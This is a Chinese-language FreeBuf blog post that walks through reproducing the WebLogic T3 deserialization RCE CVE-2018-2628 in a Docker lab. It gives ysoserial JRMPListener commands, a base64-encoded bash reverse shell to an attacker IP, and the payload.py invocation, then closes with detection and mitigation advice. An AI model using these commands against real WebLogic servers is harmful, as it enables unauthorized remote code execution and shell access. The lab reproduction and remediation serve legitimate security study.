freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Weblogic命令执行漏洞(CVE-2018-2628)复现
woshidatianguan 2023-07-19 10:08:34 159640
所属地 北京

Weblogic命令执行漏洞(CVE-2018-2628)复现

1.简介

1.1漏洞描述:

T3协议在开放WebLogic控制台端口的应用上默认开启, 攻击者可以通过T3协议发送恶意的的序列化数据,,进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击,可导致未授权的用户在远程服务器执行任意命令。

T3协议

T3 协议是WebLogic私有的协议,相比于JRMP协议多了如下的一些特性:

  • 服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。

  • 通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。

  • Java 反序列化漏洞利用工具通过T3 协议与Weblogic 进行的通信,实现Weblogic RMI 调用过程,从而实现远程加载恶意类。

1.2漏洞详细信息

漏洞详细信息
受影响版本Weblogic 10.3.6.0, Weblogic 12.1.3.0, Weblogic 12.2.1.2, Weblogic 12.2.1.3
漏洞名称Weblogic远程命令执行漏洞
漏洞编号CVE-2018-2628
危害等级高危
CVSS评分10
漏洞类型RCE

2.漏洞复现

2.1 搭建环境

系统脚本工具
kali(2023)CVE-2018-2628,ysoserial-0.0.6-SNAPSHOT-all.jardocker

环境:https://vulhub.org/#/environments/weblogic/CVE-2018-2628/

https://pan.baidu.com/s/1oqFdtcR_RNTjie0oxZ5gBA提取码:cxkh

启用docker

cd /home/kali/vulhub/weblogic/CVE-2018-2628
sudo docker-compose up -d

1689731871_64b7431fd52303e543733.png!small?1689731873515

1689731872_64b74320df0c47e29baba.png!small?1689731873515

2.2 服务端开启监听

思路:本来应该由攻击机执行一切攻击命令,但是由于docker的ip只能与靶机(宿主机)通信,所以,后面其中一些攻击命令将会在靶机进行。在JRMPListener主机上运行命令(攻击机)首先需要启动一个JRMP Server,可以利用ysoserial

在攻击机上运行工具,命令格式为:java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener <监听端口> <jdk版本,1.7以上填写”Jdk7u21“> <要执行的命令>

我们企图反弹shell到kali(ip为192.168.200.131)的7777端口,因此对应的bash命令为:

bash -i >& /dev/tcp/10.9.46.170/7777 0>&1

然后对上述命令进行base64编码,这里给出一个网站,可以直接进行payload的编码:

https://ares-x.com/tools/runtime-exec

示范:

cd /home/kali/tools/java-unserialize/ysoserial/target/
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5678 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45LjQ2LjE3MC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"

1689731956_64b74374c7fd9a7cae330.png!small?1689731958126

2.3 nc监听

1689731962_64b7437a0ff6b152fa28a.png!small?1689731962282

2.4 paylaod攻击

命令格式:python payload.py [靶机ip] [靶机端口] [ysoserial工具] [攻击机的ip] [攻击机监听的端口] [JRMPClient] python版本建议用2,用3会出现 'str' object has no attribute 'decode'

cd /home/kali/tools/java-unserialize/ysoserial/target/
python2 payload.py 10.9.46.170 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 10.9.46.170 5678 JRMPClient

1689732010_64b743aa792a7a1832058.png!small?1689732011591

2.5 反弹成功

1689732015_64b743af1951ca81f204d.png!small?1689732015567

2.6 写入文件(另外一种利用方法)

cd /home/kali/tools/java-unserialize/ysoserial/target/
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 5678 CommonsCollections1 "touch /tmp/ajest"

1689732023_64b743b78c033a278d54b.png!small?1689732023920

cd /home/kali/tools/java-unserialize/ysoserial/target/
python2 payload.py 10.9.46.170 7001 ysoserial-0.0.6-SNAPSHOT-all.jar 10.9.46.170 5678 JRMPClient

1689732054_64b743d6bb6fe42d53fa8.png!small?1689732055171

sudo docker ps -a 
sudo docker exec -it 340595f17ecd /bin/bash 
cd /tmp
ls

1689732067_64b743e3155e623fac39b.png!small?1689732067350

3.总结

T3 协议通常开放在内网, 外网基本绝迹, 快速检测可以使用nmap:nmap -sV --script=weblogic-t3-info.nse -p 7001

修复建议:

  1. 此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启。关闭T3服务,或控制T3服务的访问权限,能防护该漏洞。对于不在Oracle官方支持范围内的版本,由于没有最新补丁,推荐采用此种方式进行修复。同时,Weblogic采用黑名单的方式进行反序列化漏洞的修复,存在被绕过的风险,因此控制T3服务为防护Weblogic RMI这类反序列化漏洞的有效方式。控制T3服务方式:

    具体流程:

    a)进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
    
    b)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s协议的所有端口只允许本地访问)。
    
    c)保存后需重新启动,规则方可生效。
  1. 更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本。

  2. 如以上两种策略都无法采用,则可以考虑用更改代码的方式。以10.3.6.0为例,在weblogic.utils.io.oif.WebLogicFilterConfig的黑名单DEFAULT_BLACKLIST_CLASS中添加”java.rmi.server.RemoteObjectInvocationHandler”,编译并更新swlclient.jar、wlthint3client.jar这两个用到该类的包。

    总结:

    官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,下载最新补丁。
    手工修复:控制T3协议的访问权限来临时阻断漏洞利用。
# 渗透测试 # 网络安全 # 系统安全 # 数据安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 woshidatianguan 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
woshidatianguan LV.5
这家伙太懒了,还未填写个人描述!
  • 34 文章数
  • 17 关注者
代码审计 | RuoYi4.6.2Thymeleaf模板注入详解
2024-12-13
代码审计ruoyi_v4.6.2 | SQL注入详解
2024-12-04
代码审计ruoyi_v4.6.1 | SQL注入详解
2024-11-29
文章目录